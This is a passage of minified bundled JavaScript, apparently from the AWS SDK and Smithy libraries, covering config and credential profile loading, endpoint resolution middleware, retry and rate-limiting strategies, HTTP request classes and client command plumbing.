$OA.readFile}});A8A.CONFIG_PREFIX_SEPARATOR=e6A;A8A.DEFAULT_PROFILE=lU8;A8A.ENV_PROFILE=cU8;A8A.externalDataInterceptor=uk5;A8A.getProfileName=vk5;A8A.loadSharedConfigFiles=nU8;A8A.loadSsoSessionData=hk5;A8A.parseKnownFiles=xk5;Object.keys(cCA).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(A8A,A))Object.defineProperty(A8A,A,{enumerable:!0,get:function(){return cCA[A]}})});Object.keys(pU8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(A8A,A))Object.defineProperty(A8A,A,{enumerable:!0,get:function(){return pU8[A]}})})});var NV=v((ok5)=>{var lCA=dX(),rU8=pb();function oU8(A){try{let K=new Set(Array.from(A.match(/([A-Z_]){3,}/g)??[]));return K.delete("CONFIG"),K.delete("CONFIG_PREFIX_SEPARATOR"),K.delete("ENV"),[...K].join(", ")}catch(K){return A}}var ck5=(A,K)=>async()=>{try{let q=A(process.env,K);if(q===void 0)throw Error();return q}catch(q){throw new lCA.CredentialsProviderError(q.message||`Not found in ENV: ${oU8(A.toString())}`,{logger:K?.logger})}},lk5=(A,{preferredFile:K="config",...q}={})=>async()=>{let Y=rU8.getProfileName(q),{configFile:z,credentialsFile:w}=await rU8.loadSharedConfigFiles(q),H=w[Y]||{},J=z[Y]||{},O=K==="config"?{...H,...J}:{...J,...H};try{let $=A(O,K==="config"?z:w);if($===void 0)throw Error();return $}catch(X){throw new lCA.CredentialsProviderError(X.message||`Not found in config files w/ profile [${Y}]: ${oU8(A.toString())}`,{logger:q.logger})}},ik5=(A)=>typeof A==="function",nk5=(A)=>ik5(A)?async()=>await A():lCA.fromStatic(A),rk5=({environmentVariableSelector:A,configFileSelector:K,default:q},Y={})=>{let{signingName:z,logger:w}=Y,H={signingName:z,logger:w};return lCA.memoize(lCA.chain(ck5(A,H),lk5(K,Y),nk5(q)))};ok5.loadConfig=rk5});var Kp8=v((eU8)=>{Object.defineProperty(eU8,"__esModule",{value:!0});eU8.getEndpointUrlConfig=void 0;var aU8=pb(),sU8="AWS_ENDPOINT_URL",tU8="endpoint_url",sk5=(A)=>({environmentVariableSelector:(K)=>{let q=A.split(" ").map((w)=>w.toUpperCase()),Y=K[[sU8,...q].join("_")];if(Y)return Y;let z=K[sU8];if(z)return z;return},configFileSelector:(K,q)=>{if(q&&K.services){let z=q[["services",K.services].join(aU8.CONFIG_PREFIX_SEPARATOR)];if(z){let w=A.split(" ").map((J)=>J.toLowerCase()),H=z[[w.join("_"),tU8].join(aU8.CONFIG_PREFIX_SEPARATOR)];if(H)return H}}let Y=K[tU8];if(Y)return Y;return},default:void 0});eU8.getEndpointUrlConfig=sk5});var zp8=v((qp8)=>{Object.defineProperty(qp8,"__esModule",{value:!0});qp8.getEndpointFromConfig=void 0;var tk5=NV(),ek5=Kp8(),AC5=async(A)=>(0,tk5.loadConfig)((0,ek5.getEndpointUrlConfig)(A??""))();qp8.getEndpointFromConfig=AC5});var qy=v((ZC5)=>{var Hp8=zp8(),wp8=tE(),KC5=Gz(),K81=WD(),qC5=Ll1(),YC5=async(A)=>{let K=A?.Bucket||"";if(typeof A.Bucket==="string")A.Bucket=K.replace(/#/g,encodeURIComponent("#")).replace(/\?/g,encodeURIComponent("?"));if(OC5(K)){if(A.ForcePathStyle===!0)throw Error("Path-style addressing cannot be used with ARN buckets")}else if(!JC5(K)||K.indexOf(".")!==-1&&!String(A.Endpoint).startsWith("http:")||K.toLowerCase()!==K||K.length<3)A.ForcePathStyle=!0;if(A.DisableMultiRegionAccessPoints)A.disableMultiRegionAccessPoints=!0,A.DisableMRAP=!0;return A},zC5=/^[a-z0-9][a-z0-9\.\-]{1,61}[a-z0-9]$/,wC5=/(\d+\.){3}\d+/,HC5=/\.\./,JC5=(A)=>zC5.test(A)&&!wC5.test(A)&&!HC5.test(A),OC5=(A)=>{let[K,q,Y,,,z]=A.split(":"),w=K==="arn"&&A.split(":").length>=6,H=Boolean(w&&q&&Y&&z);if(w&&!H)throw Error(`Invalid ARN: ${A} was an invalid ARN.`);return H},XC5=(A,K,q)=>{let Y=async()=>{let z=q[A]??q[K];if(typeof z==="function")return z();return z};if(A==="credentialScope"||K==="CredentialScope")return async()=>{let z=typeof q.credentials==="function"?await q.credentials():q.credentials;return z?.credentialScope??z?.CredentialScope};if(A==="accountId"||K==="AccountId")return async()=>{let z=typeof q.credentials==="function"?await q.credentials():q.credentials;return z?.accountId??z?.AccountId};if(A==="endpoint"||K==="endpoint")return async()=>{if(q.isCustomEndpoint===!1)return;let z=await Y();if(z&&typeof z==="object"){if("url"in z)return z.url.href;if("hostname"in z){let{protocol:w,hostname:H,port:J,path:O}=z;return`${w}//${H}${J?":"+J:""}${O}`}}return z};return Y},jr1=(A)=>{if(typeof A==="object"){if("url"in A)return wp8.parseUrl(A.url);return A}return wp8.parseUrl(A)},Jp8=async(A,K,q,Y)=>{if(!q.isCustomEndpoint){let H;if(q.serviceConfiguredEndpoint)H=await q.serviceConfiguredEndpoint();else H=await Hp8.getEndpointFromConfig(q.serviceId);if(H)q.endpoint=()=>Promise.resolve(jr1(H)),q.isCustomEndpoint=!0}let z=await Op8(A,K,q);if(typeof q.endpointProvider!=="function")throw Error("config.endpointProvider is not set.");return q.endpointProvider(z,Y)},Op8=async(A,K,q)=>{let Y={},z=K?.getEndpointParameterInstructions?.()||{};for(let[w,H]of Object.entries(z))switch(H.type){case"staticContextParams":Y[w]=H.value;break;case"contextParams":Y[w]=A[H.name];break;case"clientContextParams":case"builtInParams":Y[w]=await XC5(H.name,w,q)();break;case"operationContextParams":Y[w]=H.get(A);break;default:throw Error("Unrecognized endpoint parameter instruction: "+JSON.stringify(H))}if(Object.keys(z).length===0)Object.assign(Y,q);if(String(q.serviceId).toLowerCase()==="s3")await YC5(Y);return Y},Xp8=({config:A,instructions:K})=>{return(q,Y)=>async(z)=>{if(A.isCustomEndpoint)KC5.setFeature(Y,"ENDPOINT_OVERRIDE","N");let w=await Jp8(z.input,{getEndpointParameterInstructions(){return K}},{...A},Y);Y.endpointV2=w,Y.authSchemes=w.properties?.authSchemes;let H=Y.authSchemes?.[0];if(H){Y.signing_region=H.signingRegion,Y.signing_service=H.signingName;let O=K81.getSmithyContext(Y)?.selectedHttpAuthScheme?.httpAuthOption;if(O)O.signingProperties=Object.assign(O.signingProperties||{},{signing_region:H.signingRegion,signingRegion:H.signingRegion,signing_service:H.signingName,signingName:H.signingName,signingRegionSet:H.signingRegionSet},H.properties)}return q({...z})}},$p8={step:"serialize",tags:["ENDPOINT_PARAMETERS","ENDPOINT_V2","ENDPOINT"],name:"endpointV2Middleware",override:!0,relation:"before",toMiddleware:qC5.serializerMiddlewareOption.name},$C5=(A,K)=>({applyToStack:(q)=>{q.addRelativeTo(Xp8({config:A,instructions:K}),$p8)}}),_C5=(A)=>{let K=A.tls??!0,{endpoint:q,useDualstackEndpoint:Y,useFipsEndpoint:z}=A,w=q!=null?async()=>jr1(await K81.normalizeProvider(q)()):void 0,J=Object.assign(A,{endpoint:w,tls:K,isCustomEndpoint:!!q,useDualstackEndpoint:K81.normalizeProvider(Y??!1),useFipsEndpoint:K81.normalizeProvider(z??!1)}),O=void 0;return J.serviceConfiguredEndpoint=async()=>{if(A.serviceId&&!O)O=Hp8.getEndpointFromConfig(A.serviceId);return O},J},GC5=(A)=>{let{endpoint:K}=A;if(K===void 0)A.endpoint=async()=>{throw Error("@smithy/middleware-endpoint: (default endpointRuleSet) endpoint is not set - you must configure an endpoint.")};return A};ZC5.endpointMiddleware=Xp8;ZC5.endpointMiddlewareOptions=$p8;ZC5.getEndpointFromInstructions=Jp8;ZC5.getEndpointPlugin=$C5;ZC5.resolveEndpointConfig=_C5;ZC5.resolveEndpointRequiredConfig=GC5;ZC5.resolveParams=Op8;ZC5.toEndpointV1=jr1});var Pr1=v((SC5)=>{var TC5=["AuthFailure","InvalidSignatureException","RequestExpired","RequestInTheFuture","RequestTimeTooSkewed","SignatureDoesNotMatch"],vC5=["BandwidthLimitExceeded","EC2ThrottledException","LimitExceededException","PriorRequestNotComplete","ProvisionedThroughputExceededException","RequestLimitExceeded","RequestThrottled","RequestThrottledException","SlowDown","ThrottledException","Throttling","ThrottlingException","TooManyRequestsException","TransactionInProgressException"],EC5=["TimeoutError","RequestTimeout","RequestTimeoutException"],kC5=[500,502,503,504],CC5=["ECONNRESET","ECONNREFUSED","EPIPE","ETIMEDOUT"],LC5=["EHOSTUNREACH","ENETUNREACH","ENOTFOUND"],_p8=(A)=>A?.$retryable!==void 0,RC5=(A)=>TC5.includes(A.name),Gp8=(A)=>A.$metadata?.clockSkewCorrected,Zp8=(A)=>{let K=new Set(["Failed to fetch","NetworkError when attempting to fetch resource","The Internet connection appears to be offline","Load failed","Network request failed"]);if(!(A&&A instanceof TypeError))return!1;return K.has(A.message)},yC5=(A)=>A.$metadata?.httpStatusCode===429||vC5.includes(A.name)||A.$retryable?.throttling==!0,Mr1=(A,K=0)=>_p8(A)||Gp8(A)||EC5.includes(A.name)||CC5.includes(A?.code||"")||LC5.includes(A?.code||"")||kC5.includes(A.$metadata?.httpStatusCode||0)||Zp8(A)||A.cause!==void 0&&K<=10&&Mr1(A.cause,K+1),IC5=(A)=>{if(A.$metadata?.httpStatusCode!==void 0){let K=A.$metadata.httpStatusCode;if(500<=K&&K<=599&&!Mr1(A))return!0;return!1}return!1};SC5.isBrowserNetworkError=Zp8;SC5.isClockSkewCorrectedError=Gp8;SC5.isClockSkewError=RC5;SC5.isRetryableByTrait=_p8;SC5.isServerError=IC5;SC5.isThrottlingError=yC5;SC5.isTransientError=Mr1});var db=v((cC5)=>{var FC5=Pr1();cC5.RETRY_MODES=void 0;(function(A){A.STANDARD="standard",A.ADAPTIVE="adaptive"})(cC5.RETRY_MODES||(cC5.RETRY_MODES={}));var Vr1=3,QC5=cC5.RETRY_MODES.STANDARD;class q81{static setTimeoutFn=setTimeout;beta;minCapacity;minFillRate;scaleConstant;smooth;currentCapacity=0;enabled=!1;lastMaxRate=0;measuredTxRate=0;requestCount=0;fillRate;lastThrottleTime;lastTimestamp=0;lastTxRateBucket;maxCapacity;timeWindow=0;constructor(A){this.beta=A?.beta??0.7,this.minCapacity=A?.minCapacity??1,this.minFillRate=A?.minFillRate??0.5,this.scaleConstant=A?.scaleConstant??0.4,this.smooth=A?.smooth??0.8;let K=this.getCurrentTimeInSeconds();this.lastThrottleTime=K,this.lastTxRateBucket=Math.floor(this.getCurrentTimeInSeconds()),this.fillRate=this.minFillRate,this.maxCapacity=this.minCapacity}getCurrentTimeInSeconds(){return Date.now()/1000}async getSendToken(){return this.acquireTokenBucket(1)}async acquireTokenBucket(A){if(!this.enabled)return;if(this.refillTokenBucket(),A>this.currentCapacity){let K=(A-this.currentCapacity)/this.fillRate*1000;await new Promise((q)=>q81.setTimeoutFn(q,K))}this.currentCapacity=this.currentCapacity-A}refillTokenBucket(){let A=this.getCurrentTimeInSeconds();if(!this.lastTimestamp){this.lastTimestamp=A;return}let K=(A-this.lastTimestamp)*this.fillRate;this.currentCapacity=Math.min(this.maxCapacity,this.currentCapacity+K),this.lastTimestamp=A}updateClientSendingRate(A){let K;if(this.updateMeasuredRate(),FC5.isThrottlingError(A)){let Y=!this.enabled?this.measuredTxRate:Math.min(this.measuredTxRate,this.fillRate);this.lastMaxRate=Y,this.calculateTimeWindow(),this.lastThrottleTime=this.getCurrentTimeInSeconds(),K=this.cubicThrottle(Y),this.enableTokenBucket()}else this.calculateTimeWindow(),K=this.cubicSuccess(this.getCurrentTimeInSeconds());let q=Math.min(K,2*this.measuredTxRate);this.updateTokenBucketRate(q)}calculateTimeWindow(){this.timeWindow=this.getPrecise(Math.pow(this.lastMaxRate*(1-this.beta)/this.scaleConstant,0.3333333333333333))}cubicThrottle(A){return this.getPrecise(A*this.beta)}cubicSuccess(A){return this.getPrecise(this.scaleConstant*Math.pow(A-this.lastThrottleTime-this.timeWindow,3)+this.lastMaxRate)}enableTokenBucket(){this.enabled=!0}updateTokenBucketRate(A){this.refillTokenBucket(),this.fillRate=Math.max(A,this.minFillRate),this.maxCapacity=Math.max(A,this.minCapacity),this.currentCapacity=Math.min(this.currentCapacity,this.maxCapacity)}updateMeasuredRate(){let A=this.getCurrentTimeInSeconds(),K=Math.floor(A*2)/2;if(this.requestCount++,K>this.lastTxRateBucket){let q=this.requestCount/(K-this.lastTxRateBucket);this.measuredTxRate=this.getPrecise(q*this.smooth+this.measuredTxRate*(1-this.smooth)),this.requestCount=0,this.lastTxRateBucket=K}}getPrecise(A){return parseFloat(A.toFixed(8))}}var iCA=100,Nr1=20000,Dp8=500,fr1=500,jp8=5,Mp8=10,Pp8=1,UC5="amz-sdk-invocation-id",pC5="amz-sdk-request",dC5=()=>{let A=iCA;return{computeNextBackoffDelay:(Y)=>{return Math.floor(Math.min(Nr1,Math.random()*2**Y*A))},setDelayBase:(Y)=>{A=Y}}},Wp8=({retryDelay:A,retryCount:K,retryCost:q})=>{return{getRetryCount:()=>K,getRetryDelay:()=>Math.min(Nr1,A),getRetryCost:()=>q}};class Y81{maxAttempts;mode=cC5.RETRY_MODES.STANDARD;capacity=fr1;retryBackoffStrategy=dC5();maxAttemptsProvider;constructor(A){this.maxAttempts=A,this.maxAttemptsProvider=typeof A==="function"?A:async()=>A}async acquireInitialRetryToken(A){return Wp8({retryDelay:iCA,retryCount:0})}async refreshRetryTokenForRetry(A,K){let q=await this.getMaxAttempts();if(this.shouldRetry(A,K,q)){let Y=K.errorType;this.retryBackoffStrategy.setDelayBase(Y==="THROTTLING"?Dp8:iCA);let z=this.retryBackoffStrategy.computeNextBackoffDelay(A.getRetryCount()),w=K.retryAfterHint?Math.max(K.retryAfterHint.getTime()-Date.now()||0,z):z,H=this.getCapacityCost(Y);return this.capacity-=H,Wp8({retryDelay:w,retryCount:A.getRetryCount()+1,retryCost:H})}throw Error("No retry token available")}recordSuccess(A){this.capacity=Math.max(fr1,this.capacity+(A.getRetryCost()??Pp8))}getCapacity(){return this.capacity}async getMaxAttempts(){try{return await this.maxAttemptsProvider()}catch(A){return console.warn(`Max attempts provider could not resolve. Using default of ${Vr1}`),Vr1}}shouldRetry(A,K,q){return A.getRetryCount()+1<q&&this.capacity>=this.getCapacityCost(K.errorType)&&this.isRetryableError(K.errorType)}getCapacityCost(A){return A==="TRANSIENT"?Mp8:jp8}isRetryableError(A){return A==="THROTTLING"||A==="TRANSIENT"}}class Vp8{maxAttemptsProvider;rateLimiter;standardRetryStrategy;mode=cC5.RETRY_MODES.ADAPTIVE;constructor(A,K){this.maxAttemptsProvider=A;let{rateLimiter:q}=K??{};this.rateLimiter=q??new q81,this.standardRetryStrategy=new Y81(A)}async acquireInitialRetryToken(A){return await this.rateLimiter.getSendToken(),this.standardRetryStrategy.acquireInitialRetryToken(A)}async refreshRetryTokenForRetry(A,K){return this.rateLimiter.updateClientSendingRate(K),this.standardRetryStrategy.refreshRetryTokenForRetry(A,K)}recordSuccess(A){this.rateLimiter.updateClientSendingRate({}),this.standardRetryStrategy.recordSuccess(A)}}class fp8 extends Y81{computeNextBackoffDelay;constructor(A,K=iCA){super(typeof A==="function"?A:async()=>A);if(typeof K==="number")this.computeNextBackoffDelay=()=>K;else this.computeNextBackoffDelay=K}async refreshRetryTokenForRetry(A,K){let q=await super.refreshRetryTokenForRetry(A,K);return q.getRetryDelay=()=>this.computeNextBackoffDelay(q.getRetryCount()),q}}cC5.AdaptiveRetryStrategy=Vp8;cC5.ConfiguredRetryStrategy=fp8;cC5.DEFAULT_MAX_ATTEMPTS=Vr1;cC5.DEFAULT_RETRY_DELAY_BASE=iCA;cC5.DEFAULT_RETRY_MODE=QC5;cC5.DefaultRateLimiter=q81;cC5.INITIAL_RETRY_TOKENS=fr1;cC5.INVOCATION_ID_HEADER=UC5;cC5.MAXIMUM_RETRY_DELAY=Nr1;cC5.NO_RETRY_INCREMENT=Pp8;cC5.REQUEST_HEADER=pC5;cC5.RETRY_COST=jp8;cC5.StandardRetryStrategy=Y81;cC5.THROTTLING_RETRY_DELAY_BASE=Dp8;cC5.TIMEOUT_RETRY_COST=Mp8});var Rr1=v((_L5)=>{_L5.HttpAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(_L5.HttpAuthLocation||(_L5.HttpAuthLocation={}));_L5.HttpApiKeyAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(_L5.HttpApiKeyAuthLocation||(_L5.HttpApiKeyAuthLocation={}));_L5.EndpointURLScheme=void 0;(function(A){A.HTTP="http",A.HTTPS="https"})(_L5.EndpointURLScheme||(_L5.EndpointURLScheme={}));_L5.AlgorithmId=void 0;(function(A){A.MD5="md5",A.CRC32="crc32",A.CRC32C="crc32c",A.SHA1="sha1",A.SHA256="sha256"})(_L5.AlgorithmId||(_L5.AlgorithmId={}));var HL5=(A)=>{let K=[];if(A.sha256!==void 0)K.push({algorithmId:()=>_L5.AlgorithmId.SHA256,checksumConstructor:()=>A.sha256});if(A.md5!=null)K.push({algorithmId:()=>_L5.AlgorithmId.MD5,checksumConstructor:()=>A.md5});return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},JL5=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},OL5=(A)=>{return HL5(A)},XL5=(A)=>{return JL5(A)};_L5.FieldPosition=void 0;(function(A){A[A.HEADER=0]="HEADER",A[A.TRAILER=1]="TRAILER"})(_L5.FieldPosition||(_L5.FieldPosition={}));var $L5="__smithy_context";_L5.IniSectionType=void 0;(function(A){A.PROFILE="profile",A.SSO_SESSION="sso-session",A.SERVICES="services"})(_L5.IniSectionType||(_L5.IniSectionType={}));_L5.RequestHandlerProtocol=void 0;(function(A){A.HTTP_0_9="http/0.9",A.HTTP_1_0="http/1.0",A.TDS_8_0="tds/8.0"})(_L5.RequestHandlerProtocol||(_L5.RequestHandlerProtocol={}));_L5.SMITHY_CONTEXT_KEY=$L5;_L5.getDefaultClientConfiguration=OL5;_L5.resolveDefaultRuntimeConfig=XL5});var Ep8=v((fL5)=>{var DL5=Rr1(),jL5=(A)=>{return{setHttpHandler(K){A.httpHandler=K},httpHandler(){return A.httpHandler},updateHttpClientConfig(K,q){A.httpHandler?.updateHttpClientConfig(K,q)},httpHandlerConfigs(){return A.httpHandler.httpHandlerConfigs()}}},ML5=(A)=>{return{httpHandler:A.httpHandler()}};class Np8{name;kind;values;constructor({name:A,kind:K=DL5.FieldPosition.HEADER,values:q=[]}){this.name=A,this.kind=K,this.values=q}add(A){this.values.push(A)}set(A){this.values=A}remove(A){this.values=this.values.filter((K)=>K!==A)}toString(){return this.values.map((A)=>A.includes(",")||A.includes(" ")?`"${A}"`:A).join(", ")}get(){return this.values}}class Tp8{entries={};encoding;constructor({fields:A=[],encoding:K="utf-8"}){A.forEach(this.setField.bind(this)),this.encoding=K}setField(A){this.entries[A.name.toLowerCase()]=A}getField(A){return this.entries[A.toLowerCase()]}removeField(A){delete this.entries[A.toLowerCase()]}getByType(A){return Object.values(this.entries).filter((K)=>K.kind===A)}}class z81{method;protocol;hostname;port;path;query;headers;username;password;fragment;body;constructor(A){this.method=A.method||"GET",this.hostname=A.hostname||"localhost",this.port=A.port,this.query=A.query||{},this.headers=A.headers||{},this.body=A.body,this.protocol=A.protocol?A.protocol.slice(-1)!==":"?`${A.protocol}:`:A.protocol:"https:",this.path=A.path?A.path.charAt(0)!=="/"?`/${A.path}`:A.path:"/",this.username=A.username,this.password=A.password,this.fragment=A.fragment}static clone(A){let K=new z81({...A,headers:{...A.headers}});if(K.query)K.query=PL5(K.query);return K}static isInstance(A){if(!A)return!1;let K=A;return"method"in K&&"protocol"in K&&"hostname"in K&&"path"in K&&typeof K.query==="object"&&typeof K.headers==="object"}clone(){return z81.clone(this)}}function PL5(A){return Object.keys(A).reduce((K,q)=>{let Y=A[q];return{...K,[q]:Array.isArray(Y)?[...Y]:Y}},{})}class vp8{statusCode;reason;headers;body;constructor(A){this.statusCode=A.statusCode,this.reason=A.reason,this.headers=A.headers||{},this.body=A.body}static isInstance(A){if(!A)return!1;let K=A;return typeof K.statusCode==="number"&&typeof K.headers==="object"}}function VL5(A){return/^[a-z0-9][a-z0-9\.\-]*[a-z0-9]$/.test(A)}fL5.Field=Np8;fL5.Fields=Tp8;fL5.HttpRequest=z81;fL5.HttpResponse=vp8;fL5.getHttpHandlerExtensionConfiguration=jL5;fL5.isValidHostname=VL5;fL5.resolveHttpHandlerRuntimeConfig=ML5});var mp8=v((ZOA)=>{var Lp8=Fb(),br1=VV(),Ir1=Rr1(),RL5=DJ(),kp8=PV();class Rp8{config;middlewareStack=Lp8.constructStack();initConfig;handlers;constructor(A){this.config=A}send(A,K,q){let Y=typeof K!=="function"?K:void 0,z=typeof K==="function"?K:q,w=Y===void 0&&this.config.cacheMiddleware===!0,H;if(w){if(!this.handlers)this.handlers=new WeakMap;let J=this.handlers;if(J.has(A.constructor))H=J.get(A.constructor);else H=A.resolveMiddleware(this.middlewareStack,this.config,Y),J.set(A.constructor,H)}else delete this.handlers,H=A.resolveMiddleware(this.middlewareStack,this.config,Y);if(z)H(A).then((J)=>z(null,J.output),(J)=>z(J)).catch(()=>{});else return H(A).then((J)=>J.output)}destroy(){this.config?.requestHandler?.destroy?.(),delete this.handlers}}var yr1="***SensitiveInformation***";function Sr1(A,K){if(K==null)return K;let q=RL5.NormalizedSchema.of(A);if(q.getMergedTraits().sensitive)return yr1;if(q.isListSchema()){if(!!q.getValueSchema().getMergedTraits().sensitive)return yr1}else if(q.isMapSchema()){if(!!q.getKeySchema().getMergedTraits().sensitive||!!q.getValueSchema().getMergedTraits().sensitive)return yr1}else if(q.isStructSchema()&&typeof K==="object"){let Y=K,z={};for(let[w,H]of q.structIterator())if(Y[w]!=null)z[w]=Sr1(H,Y[w]);return z}return K}class xr1{middlewareStack=Lp8.constructStack();schema;static classBuilder(){return new yp8}resolveMiddlewareWithContext(A,K,q,{middlewareFn:Y,clientName:z,commandName:w,inputFilterSensitiveLog:H,outputFilterSensitiveLog:J,smithyContext:O,additionalContext:X,CommandCtor:$}){for(let D of Y.bind(this)($,A,K,q))this.middlewareStack.use(D);let _=A.concat(this.middlewareStack),{logger:G}=K,Z={logger:G,clientName:z,commandName:w,inputFilterSensitiveLog:H,outputFilterSensitiveLog:J,[Ir1.SMITHY_CONTEXT_KEY]:{commandInstance:this,...O},...X},{requestHandler:W}=K;return _.resolve((D)=>W.handle(D.request,q||{}),Z)}}class yp8{_init=()=>{};_ep={};_middlewareFn=()=>[];_commandName="";_clientName="";_additionalContext={};_smithyContext={};_inputFilterSensitiveLog=void 0;_outputFilterSensitiveLog=void 0;_serializer=null;_deserializer=null;_operationSchema;init(A){this._init=A}ep(A){return this._ep=A,this}m(A){return this._middlewareFn=A,this}s(A,K,q={}){return this._smithyContext={service:A,operation:K,...q},this}c(A={}){return this._additionalContext=A,this}n(A,K){return this._clientName=A,this._commandName=K,this}f(A=(q)=>q,K=(q)=>q){return this._inputFilterSensitiveLog=A,this._outputFilterSensitiveLog=K,this}ser(A){return this._serializer=A,this}de(A){return this._deserializer=A,this}sc(A){return this._operationSchema=A,this._smithyContext.operationSchema=A,this}build(){let A=this,K;return K=class extends xr1{input;static getEndpointParameterInstructions(){return A._ep}constructor(...[q]){super();this.input=q??{},A._init(this),this.schema=A._operationSchema}resolveMiddleware(q,Y,z){let w=A._operationSchema,H=w?.[4]??w?.input,J=w?.[5]??w?.output;return this.resolveMiddlewareWithContext(q,Y,z,{CommandCtor:K,middlewareFn:A._middlewareFn,clientName:A._clientName,commandName:A._commandName,inputFilterSensitiveLog:A._inputFilterSensitiveLog??(w?Sr1.bind(null,H):(O)=>O),outputFilterSensitiveLog:A._outputFilterSensitiveLog??(w?Sr1.bind(null,J):(O)=>O),smithyContext:A._smithyContext,additionalContext:A._additionalContext})}serialize=A._serializer;deserialize=A._deserializer}}}var yL5="***SensitiveInformation***",IL5=(A,K)=>{for(let q of Object.keys(A)){let Y=A[q],z=async function(H,J,O){let X=new Y(H);if(typeof J==="function")this.send(X,J);else if(typeof O==="function"){if(typeof J!=="object")throw Error(`Expected http options but got ${typeof J}`);this.send(X,J||{},O)}else return this.send(X,J)},w=(q[0].toLowerCase()+q.slice(1)).replace(/Command$/,"");K.prototype[w]=z}};class GOA extends Error{$fault;$response;$retryable;$metadata;constructor(A){super(A.message);Object.setPrototypeOf(this,Object.getPrototypeOf(this).constructor.prototype),this.name=A.name,this.$fault=A.$fault,this.$metadata=A.$metadata}static isInstance(A){if(!A)return!1;let K=A;return GOA.prototype.isPrototypeOf(K)||Boolean(K.$fault)&&Boolean(K.$metadata)&&(K.$fault==="client"||K.$fault==="server")}static[Symbol.hasInstance](A){if(!A)return!1;let K=A;if(this===GOA)return GOA.isInstance(A);if(GOA.isInstance(A)){if(K.name&&this.name)return this.prototype.isPrototypeOf(A)||K.name===this.name;return this.prototype.isPrototypeOf(A)}return!1}}var Ip8=(A,K={})=>{Object.entries(K).filter(([,Y])=>Y!==void 0).forEach(([Y,z])=>{if(A[Y]==null||A[Y]==="")A[Y]=z});let q=A.message||A.Message||"UnknownError";return A.message=q,delete A.Message,A},Sp8=({output:A,parsedBody:K,exceptionCtor:q,errorCode:Y})=>{let z=hL5(A),w=z.httpStatusCode?z.httpStatusCode+"":void 0,H=new q({name:K?.code||K?.Code||Y||w||"UnknownError",$fault:"client",$metadata:z});throw Ip8(H,K)},SL5=(A)=>{return({output:K,parsedBody:q,errorCode:Y})=>{Sp8({output:K,parsedBody:q,exceptionCtor:A,errorCode:Y})}},hL5=(A)=>({httpStatusCode:A.statusCode,requestId:A.headers["x-amzn-requestid"]??A.headers["x-amzn-request-id"]??A.headers["x-amz-request-id"],extendedRequestId:A.headers["x-amz-id-2"],cfId:A.headers["x-amz-cf-id"]}),bL5=(A)=>{switch(A){case"standard":return{retryMode:"standard",connectionTimeout:3100};case"in-region":return{retryMode:"standard",connectionTimeout:1100};case"cross-region":return{retryMode:"standard",connectionTimeout:3100};case"mobile":return{retryMode:"standard",connectionTimeout:30000};default:return{}}},Cp8=!1,xL5=(A)=>{if(A&&!Cp8&&parseInt(A.substring(1,A.indexOf(".")))<16)Cp8=!0},uL5=(A)=>{let K=[];for(let q in Ir1.AlgorithmId){let Y=Ir1.AlgorithmId[q];if(A[Y]===void 0)continue;K.push({algorithmId:()=>Y,checksumConstructor:()=>A[Y]})}return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},BL5=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},mL5=(A)=>{return{setRetryStrategy(K){A.retryStrategy=K},retryStrategy(){return A.retryStrategy}}},gL5=(A)=>{let K={};return K.retryStrategy=A.retryStrategy(),K},hp8=(A)=>{return Object.assign(uL5(A),mL5(A))},FL5=hp8,QL5=(A)=>{return Object.assign(BL5(A),gL5(A))},UL5=(A)=>Array.isArray(A)?A:[A],bp8=(A)=>{for(let q in A)if(A.hasOwnProperty(q)&&A[q]["#text"]!==void 0)A[q]=A[q]["#text"];else if(typeof A[q]==="object"&&A[q]!==null)A[q]=bp8(A[q]);return A},pL5=(A)=>{return A!=null};class xp8{trace(){}debug(){}info(){}warn(){}error(){}}function up8(A,K,q){let Y,z,w;if(typeof K>"u"&&typeof q>"u")Y={},w=A;else if(Y=A,typeof K==="function")return z=K,w=q,lL5(Y,z,w);else w=K;for(let H of Object.keys(w)){if(!Array.isArray(w[H])){Y[H]=w[H];continue}Bp8(Y,null,w,H)}return Y}var dL5=(A)=>{let K={};for(let[q,Y]of Object.entries(A||{}))K[q]=[,Y];return K},cL5=(A,K)=>{let q={};for(let Y in K)Bp8(q,A,K,Y);return q},lL5=(A,K,q)=>{return up8(A,Object.entries(q).reduce((Y,[z,w])=>{if(Array.isArray(w))Y[z]=w;else if(typeof w==="function")Y[z]=[K,w()];else Y[z]=[K,w];return Y},{}))},Bp8=(A,K,q,Y)=>{if(K!==null){let H=q[Y];if(typeof H==="function")H=[,H];let[J=iL5,O=nL5,X=Y]=H;if(typeof J==="function"&&J(K[X])||typeof J!=="function"&&!!J)A[Y]=O(K[X]);return}let[z,w]=q[Y];if(typeof w==="function"){let H,J=z===void 0&&(H=w())!=null,O=typeof z==="function"&&!!z(void 0)||typeof z!=="function"&&!!z;if(J)A[Y]=H;else if(O)A[Y]=w()}else{let H=z===void 0&&w!=null,J=typeof z==="function"&&!!z(w)||typeof z!=="function"&&!!z;if(H||J)A[Y]=w}},iL5=(A)=>A!=null,nL5=(A)=>A,rL5=(A)=>{if(A!==A)return"NaN";switch(A){case 1/0:return"Infinity";case-1/0:return"-Infinity";default:return A}},oL5=(A)=>A.toISOString().replace(".000Z","Z"),hr1=(A)=>{if(A==null)return{};if(Array.isArray(A))return A.filter((K)=>K!=null).map(hr1);if(typeof A==="object"){let K={};for(let q of Object.keys(A)){if(A[q]==null)continue;K[q]=hr1(A[q])}return K}return A};Object.defineProperty(ZOA,"collectBody",{enumerable:!0,get:function(){return br1.collectBody}});Object.defineProperty(ZOA,"extendedEncodeURIComponent",{enumerable:!0,get:function(){return br1.extendedEncodeURIComponent}});Object.defineProperty(ZOA,"resolvedPath",{enumerable:!0,get:function(){return 